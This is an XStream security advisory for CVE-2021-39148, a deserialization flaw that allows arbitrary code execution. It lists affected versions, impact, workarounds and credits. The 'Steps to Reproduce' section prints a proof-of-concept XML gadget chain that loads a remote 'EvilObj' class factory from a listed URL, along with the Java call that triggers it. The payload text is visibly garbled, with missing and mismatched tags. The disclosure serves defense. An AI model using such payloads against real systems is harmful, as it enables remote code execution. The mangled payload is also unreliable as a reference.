

Software

About XStream

Change History Security Aspects About Versioning

Evaluating XStream

Two Minute Tutorial License Download References

Benchmarks Code Statistics Using XStream

Architecture Overview
Object references
Tweaking the Output
Converters
Frequently Asked Questions
Mailing Lists

Reporting Issues

Javadoc

XStream Core Hibernate Extensions JMH Module

Tutorials
Two Minute Tutorial
Alias Tutorial

Alias Tutorial
Annotations Tutorial
Converter Tutorial
Object Streams Tutorial
Persistence API Tutorial
JSON Tutorial
StudyTrails

Developing XStream

How to Contribute Development Team Source Repository Continuous Integration CVE-2021-39148

Vulnerability

CVE-2021-39148: XStream is vulnerable to an Arbitrary Code Execution attack

Affected Versions

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

Steps to Reproduce

Create a simple TreeSet and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream

```
sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<hash>1</hash>
                         <boundObj class='com.sun.jndi.ldap.LdapReferralContext'>
    <refCtx class='javax.naming.spi.ContinuationDirContext'>
                                     <stackTrace/>
                                    <resolvedObj class='javax.naming.Reference'>
     <className>EvilObj</className>
                                       <addrs/>
                                       <classFactory>EvilObj</classFactory>
<classFactoryLocation>http://127.0.0.1:1099/</classFactoryLocation>
                                    </resolvedObj>
<altName class='javax.naming.CompoundName' serialization='custom'>
                                      <javax.naming.CompoundName
                                         properties/>
<int>1</int>
                                    <string>ysomap</string>
</javax.naming.CompoundName>
</altName>
                                  </cpe>
                                </refCtx>
                                <skipThisReferral>false</skipThisReferral>
                                <hopCount>0</hopCount>
                              </boundObj>
                       </boundObj>
</key>
</current>
<currentBucket>0</currentBucket>
                  <count>0</count>
<count>0</count>
<threshold>0</threshold>
</list>
</children>
             </children>
<currentReturned>true</currentReturned>
<currentChildExpanded>false</currentChildExpanded>
<rootProcessed>true</rootProcessed>
<scope>2</scope>
</aliases>
</it>
</ar>
```

```
XStream xstream = new XStream();
xstream.fromXML(xml);
```

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

Impact

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed input stream.

Workarounds

See $\underline{\text{workarounds}}$ for the different versions covering all CVEs.

Credits

wh113p1g from TSRC (Tencent Security Response Center) found and reported the issue to XStream and provided the required information to reproduce it.